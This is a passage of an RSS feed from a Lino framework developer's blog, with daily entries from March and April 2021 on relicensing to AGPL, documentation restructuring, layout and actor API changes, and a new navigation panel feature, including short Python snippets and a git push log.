&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lino-framework/algus"&gt;algus&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino-patrols"&gt;patrols&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://gitlab.com/lino-framework/lino-logos"&gt;logos&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/lsaffre/blog"&gt;blog&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One exception: &lt;a class="reference external" href="https://github.com/lino-framework/eidreader"&gt;eidreader&lt;/a&gt;
remains BSD because it is a command-line tool.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0407.html</guid><pubDate>Wed, 07 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, April 6, 2021</title><link>https://luc.lino-framework.org/blog/2021/0406.html</link><description>&lt;section id="tuesday-april-6-2021"&gt;
&lt;h1&gt;Tuesday, April 6, 2021&lt;a class="headerlink" href="#tuesday-april-6-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;We have three pages “About Lino” :
in &lt;a class="reference external" href="https://www.lino-framework.org/index.html#lf" title="(in Lino framework)"&gt;&lt;span&gt;The Lino framework&lt;/span&gt;&lt;/a&gt;,
in &lt;a class="reference external" href="https://hosting.lino-framework.org/#hg" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Lino Hosting Guide&lt;/span&gt;&lt;/a&gt; and in &lt;a class="reference external" href="https://dev.lino-framework.org/about/index.html#book-lino-about" title="(in Lino Developer Guide)"&gt;&lt;span&gt;More about Lino&lt;/span&gt;&lt;/a&gt;.
(The one in the Hosting Guide was removed in June.)&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0406.html</guid><pubDate>Tue, 06 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Monday, April 5, 2021</title><link>https://luc.lino-framework.org/blog/2021/0405.html</link><description>&lt;section id="monday-april-5-2021"&gt;
&lt;h1&gt;Monday, April 5, 2021&lt;a class="headerlink" href="#monday-april-5-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4081"&gt;#4081&lt;/a&gt; and changed the license of &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino_xl" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
and &lt;a class="reference external" href="https://dev.lino-framework.org/api/index.html#module-lino_book" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from BSD to AGPL. The other repositories will follow. I
discussed this decision orally with Tonis and Sharif, who appreciated the move
from BSD to GPL. I didn’t yet manage to talk with Hamza, but I assume that he
appreciates it as well.&lt;/p&gt;
&lt;p&gt;Also updated the &lt;a class="reference external" href="https://dev.lino-framework.org/contrib/index.html#lino-contrib" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Contribute to the code&lt;/span&gt;&lt;/a&gt; where I added a section “Before getting
started”.&lt;/p&gt;
&lt;p&gt;En passant I started to check and review the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;, which was quite scaring
at places.&lt;/p&gt;
&lt;p&gt;I have been thinking and writing much about this topic:  &lt;a class="reference external" href="https://hw.saffre-rumma.net/fs/"&gt;Why software should be
free&lt;/a&gt;. I believe that intellectual property
was a bad idea for humanity and that it is time to get rid of it. But of course
that’s a crazy claim, and I don’t know the truth, I am just a average-talented
programmer with a tendency to philosophy, and with age I am getting more
audacious. Changing Lino to the AGPL is my legal commitment that I will rather
grow potatoes and chicken than accepting to write non-free software.&lt;/p&gt;
&lt;p&gt;Wow, and it seems that I managed to finish &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4079"&gt;#4079&lt;/a&gt; before midnight: We
have a new doctree, the Lino Hosting Guide, which I cut out of the book and
moved into a separate repository, hosted at &lt;a class="reference external" href="https://gitlab.com/lino-framework/hg"&gt;https://gitlab.com/lino-framework/hg&lt;/a&gt;
and rendered at &lt;a class="reference external" href="https://hosting.lino-framework.org"&gt;https://hosting.lino-framework.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The tricky thing was to handle dependencies: the Hosting Guide can refer to the
Community Guide, but not to the Developer Guide. We have the following
dependence tree:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Community Guide –&amp;gt; Hosting Guide –&amp;gt; Developer Guide&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;The main trigger was that I’d like Hannes to start maintaining the Hosting
Guide.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0405.html</guid><pubDate>Mon, 05 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Friday, April 2, 2021</title><link>https://luc.lino-framework.org/blog/2021/0402.html</link><description>&lt;section id="friday-april-2-2021"&gt;
&lt;h1&gt;Friday, April 2, 2021&lt;a class="headerlink" href="#friday-april-2-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Charles is bombing us with questions that help me to see what is missing in the
docs. When working at the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/layouts/more.html#dev-layouts-more" title="(in Lino Developer Guide)"&gt;&lt;span&gt;More about layouts&lt;/span&gt;&lt;/a&gt; page I realized how
complicated  it is when you want a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tables/index.html#term-data-table" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;data table&lt;/span&gt;&lt;/a&gt; that opens directly into
the detail window instead of a list window.  You need to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_default_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;actions&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ShowDetail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detail_layout&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.get_default_action&lt;/span&gt;&lt;/code&gt; method is now being called when all other
standard actions have been bound. As a result, an &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-application-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;application developer&lt;/span&gt;&lt;/a&gt;
can now simplify the code for saying that a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tables/index.html#term-data-table" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;data table&lt;/span&gt;&lt;/a&gt; should not have
any &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;grid&lt;/span&gt;&lt;/code&gt; &lt;a class="reference external" href="https://using.lino-framework.org/basics/index.html#term-display-mode" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;display mode&lt;/span&gt;&lt;/a&gt; at all:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_default_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;detail_action&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This apparently minor change caused an avalanche of changes in the deepest inner
parts of Lino.  Hic sunt dracones. There is danger of having introduced bugs
that slip through the test suite.&lt;/p&gt;
&lt;p&gt;I removed the mysterious &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.default_elem_action_name&lt;/span&gt;&lt;/code&gt; attribute
because (1) I don’t understand its purpose (it’s obviously used to customize the
action_name for the detail_action but I can’t remember why we want this) and (2)
because I suspected it to be the reason why React doesn’t show the
&lt;cite&gt;system.About&lt;/cite&gt; dialog.  At the moment I do not yet remove the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;default_list_action_name&lt;/span&gt;&lt;/code&gt;, this might come later.&lt;/p&gt;
&lt;p&gt;Side effects:
I discovered that &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Situation&lt;/span&gt;&lt;/code&gt; table was
no longer used, so I removed it.
I formulated and then fixed &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4075"&gt;#4075&lt;/a&gt;, which required me to
extend the API for &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/plugin.html#lino.core.plugin.Plugin.get_quicklinks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.plugin.Plugin.get_quicklinks()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: it can
now return a &lt;cite&gt;dict&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;I had the following warning when I pushed to react:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;OK to checkin react https://luc.lino-framework.org/blog/2021/0402.html? [Y,n]?
[master 9705822] https://luc.lino-framework.org/blog/2021/0402.html
 2 files changed, 12 insertions(+), 14 deletions(-)
Counting objects: 6, done.
Delta compression using up to 2 threads.
Compressing objects: 100% (6/6), done.
Writing objects: 100% (6/6), 764 bytes | 764.00 KiB/s, done.
Total 6 (delta 4), reused 0 (delta 0)
remote: Resolving deltas: 100% (4/4), completed with 4 local objects.
To github.com:lino-framework/react.git
   2cfdc2f..9705822  master -&amp;gt; master
 ! [rejected]        blurry -&amp;gt; blurry (non-fast-forward)
error: failed to push some refs to &amp;#39;git@github.com:lino-framework/react.git&amp;#39;
hint: Updates were rejected because a pushed branch tip is behind its remote
hint: counterpart. Check out this branch and integrate the remote changes
hint: (e.g. &amp;#39;git pull ...&amp;#39;) before pushing again.
hint: See the &amp;#39;Note about fast-forwards&amp;#39; in &amp;#39;git push --help&amp;#39; for details.
CommandError: inv ci -t 20210402 ended with error 1 in project react
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0402.html</guid><pubDate>Fri, 02 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, April 1, 2021</title><link>https://luc.lino-framework.org/blog/2021/0401.html</link><description>&lt;section id="thursday-april-1-2021"&gt;
&lt;h1&gt;Thursday, April 1, 2021&lt;a class="headerlink" href="#thursday-april-1-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="importing-contact-data"&gt;
&lt;h2&gt;Importing contact data&lt;a class="headerlink" href="#importing-contact-data" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;New action &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.Partner.import_text&lt;/span&gt;&lt;/code&gt;. For testing I
switched to default_ui extjs because this action is also affected by
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4066"&gt;#4066&lt;/a&gt;. Got a first case to work.  I publish this, but this is
definitively not fool-proof. Maybe somebody else wants to continue on this?&lt;/p&gt;
&lt;/section&gt;
&lt;section id="customizing-the-toolbar"&gt;
&lt;h2&gt;Customizing the toolbar&lt;a class="headerlink" href="#customizing-the-toolbar" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I updated some pages of the Developer Guide: &lt;a class="reference external" href="https://dev.lino-framework.org/dev/layouts/index.html#layouts" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Introduction to layouts&lt;/span&gt;&lt;/a&gt;. And one new page
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/layouts/more.html#dev-layouts-more" title="(in Lino Developer Guide)"&gt;&lt;span&gt;More about layouts&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.hide_top_toolbar&lt;/span&gt;&lt;/code&gt; attribute is conceptually the same as
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Action.hide_navigator&lt;/span&gt;&lt;/code&gt;. React mixed them up until now, but from now on now knows
only at the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;hide_navigator&lt;/span&gt;&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;Both attributes existed also on &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Action&lt;/span&gt;&lt;/code&gt;, where I removed them.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;hide_top_toolbar&lt;/span&gt;&lt;/code&gt; attribute, in ExtJS, causes the top toolbar to
become a bottom toolbar. And that bottom toolbar never has navigation widgets.
React does not use it any more, and I think that we will deprecate it in some
future. So when application code says &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;hide_top_toolbar&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;True&lt;/span&gt;&lt;/code&gt;, then you
should change this to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;hide_navigator&lt;/span&gt; &lt;span class="pre"&gt;=&lt;/span&gt; &lt;span class="pre"&gt;True&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;New actor attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.allow_delete&lt;/span&gt;&lt;/code&gt;. We need it for
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/system.html#lino.modlib.system.SiteConfig" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.system.SiteConfig&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, which, indeed is not
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor.readonly&lt;/span&gt;&lt;/code&gt; (every &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-manager" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site manager&lt;/span&gt;&lt;/a&gt; can edit the site
parameters). But even for a &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-manager" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site manager&lt;/span&gt;&lt;/a&gt; it makes no sense to
delete this record.&lt;/p&gt;
&lt;p&gt;After these changes I did a manual tour for testing the following actors:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/calview.html#lino_xl.lib.calview.DaySlave" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.calview.DaySlave&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;calendar WeeklySlave in presto&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;User preferences&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SiteConfig&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Shopping Cart&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Accounting Report&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;polls.AnswerRemarksByAnswer&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sharif watched me via Jitsi. This had two advantages: (1) the task was less
boring for me and (2) he learned quite a few things about Lino.&lt;/p&gt;
&lt;p&gt;As a side effect of the testing tour, I added a &lt;cite&gt;:attr:`window_size
&amp;lt;lino.core.layouts.Layout.window_size&amp;gt;&lt;/cite&gt; to the site parameters window of most
applications (except for welfare where its a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/layouts/more.html#term-tabbed-detail-layout" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;tabbed detail layout&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0401.html</guid><pubDate>Thu, 01 Apr 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, March 30, 2021</title><link>https://luc.lino-framework.org/blog/2021/0330.html</link><description>&lt;section id="tuesday-march-30-2021"&gt;
&lt;h1&gt;Tuesday, March 30, 2021&lt;a class="headerlink" href="#tuesday-march-30-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/phones.html#lino_xl.lib.phones.ContactDetail" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.phones.ContactDetail&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now inherits from
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.periods.html#lino.mixins.periods.DateRange" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.periods.DateRange&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, i.e.:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;added a field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.phones.ContactDetail.start_date&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;we can now filter the contact details that are active in a given date range.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;A &lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;django-admin command&lt;/span&gt;&lt;/a&gt; to load partner details and list memberships
from a text file containing email addresses (e.g. the output of mailman’s
&lt;strong class="command"&gt;list_members&lt;/strong&gt; command). What if there are multiple contact details
with a same address?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Allow for contact details without partner: support having them in the
database and provide a view to see them.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0330.html</guid><pubDate>Tue, 30 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, March 27, 2021</title><link>https://luc.lino-framework.org/blog/2021/0327.html</link><description>&lt;section id="saturday-march-27-2021"&gt;
&lt;h1&gt;Saturday, March 27, 2021&lt;a class="headerlink" href="#saturday-march-27-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/export_excel.html#lino-specs-export-excel" title="(in Lino Developer Guide)"&gt;&lt;span&gt;export_excel : Exporting to Excel&lt;/span&gt;&lt;/a&gt; doctest revealed that
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.mixins.human.Human.age&lt;/span&gt;&lt;/code&gt; is a virtual field that should have the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.VirtualField.wildcard_data_elem&lt;/span&gt;&lt;/code&gt; attribute set to
&lt;cite&gt;True&lt;/cite&gt;.  And then there was a bug: virtualfields didn’t inherit that attribute
from their &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;return_type&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I merged the changelogs from weleup and welcht to those of welfare. ATM I think
that welfare should keep its own changelog (&lt;a class="reference external" href="https://welfare.lino-framework.org/changes/index.html#welfare-changes" title="(in Lino Welfare)"&gt;&lt;span&gt;Changes&lt;/span&gt;&lt;/a&gt;), which is
separated from our main changelog (&lt;a class="reference external" href="https://dev.lino-framework.org/changes/index.html#book-changes" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Changelog&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-privileged-applications" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;privileged applications&lt;/span&gt;&lt;/a&gt; (cosi, noi, voga, …), i.e. the ones that
are an integral part of the Lino test suite because they have their API
documentation and tested docs in the book.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0327.html</guid><pubDate>Sat, 27 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Friday, March 26, 2021</title><link>https://luc.lino-framework.org/blog/2021/0326.html</link><description>&lt;section id="friday-march-26-2021"&gt;
&lt;h1&gt;Friday, March 26, 2021&lt;a class="headerlink" href="#friday-march-26-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="how-to-chat"&gt;
&lt;h2&gt;How to chat&lt;a class="headerlink" href="#how-to-chat" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Philosophic thoughts about the &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0326.html</guid><pubDate>Fri, 26 Mar 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, March 25, 2021</title><link>https://luc.lino-framework.org/blog/2021/0325.html</link><description>&lt;section id="thursday-march-25-2021"&gt;
&lt;h1&gt;Thursday, March 25, 2021&lt;a class="headerlink" href="#thursday-march-25-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I wrote a section &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#dev-actors-react" title="(in Lino Developer Guide)"&gt;&lt;span&gt;React-specific actor attributes&lt;/span&gt;&lt;/a&gt;. But most of these options are
“deprecated” and should be replaced by something else. I reviewed more passages
in &lt;a class="reference external" href="https://dev.lino-framework.org/dev/format.html#dev-format" title="(in Lino Developer Guide)"&gt;&lt;span&gt;How to represent a database row&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="a-generic-navigation-panel-for-table-views"&gt;
&lt;h2&gt;A generic navigation panel for table views&lt;a class="headerlink" href="#a-generic-navigation-panel-for-table-views" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Charles asked for a layout where you have a list view for navigating over your
rows in a panel on the left, but otherwise a detail view. I wanted to know it
and and finished up with a new generic virtual field
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model.navigation_panel" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;navigation_panel&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  A first use case is the
&lt;cite&gt;PersonDetail&lt;/cite&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#amici" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Amici&lt;/span&gt;&lt;/a&gt;.  Here is the source code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;PersonDetail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PersonDetail&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="n"&gt;main&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;general family more&amp;quot;&lt;/span&gt;

    &lt;span class="n"&gt;general&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Panel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;navigation_panel:20 general_box:60&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;label&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;General&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="n"&gt;general_box&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;    overview contact_box&lt;/span&gt;
&lt;span class="s2"&gt;    contacts.RolesByPerson:30 lists.MembersByPartner:30 cal.EntriesByGuest:30&lt;/span&gt;
&lt;span class="s2"&gt;    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;

    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And the result:&lt;/p&gt;
&lt;a class="reference internal image-reference" href="../../_images/0325_2059.png"&gt;&lt;img alt="../../_images/0325_2059.png" src="../../_images/0325_2059.png" style="width: 45%;" /&gt;
&lt;/a&gt;
&lt;a class="reference internal image-reference" href="../../_images/0325_2101.png"&gt;&lt;img alt="../../_images/0325_2101.png" src="../../_images/0325_2101.png" style="width: 45%;" /&gt;
&lt;/a&gt;
&lt;p&gt;A nice new feature. Thanks to Charles for the request. Yes, we should have a
look at the cosmetic aspects.  I used quite a few dirty hacks to get a decent
look. And then we probably want to hide away the navigation buttons from the
toolbar when we have such a panel. One disadvantage is that you cannot navigate
when you have activated the second or third tab panel.&lt;/p&gt;
&lt;p&gt;While working on this, I discovered and fixed a rather invisible bug:
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.wildcard_data_elems()&lt;/span&gt;&lt;/code&gt; was returning &lt;em&gt;all&lt;/em&gt; virtual fields.
The official behaviour is that virtual fields are not returned unless they are
defined with &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.VirtualField.wildcard_field&lt;/span&gt;&lt;/code&gt; set to &lt;cite&gt;True&lt;/cite&gt;.
This rule is for performance reasons. Some virtual fields a rather heavy (e.g.
the &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/model.html#lino.core.model.Model.navigation_panel" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;navigation_panel&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; must query
the whole database to get all primary keys), and even when they are hidden, Lino
has to include &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tables/index.html#term-wildcard-field" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;wildcard fields&lt;/span&gt;&lt;/a&gt; in the result because
the end user might have enabled them. It was a bit stupid to compute the
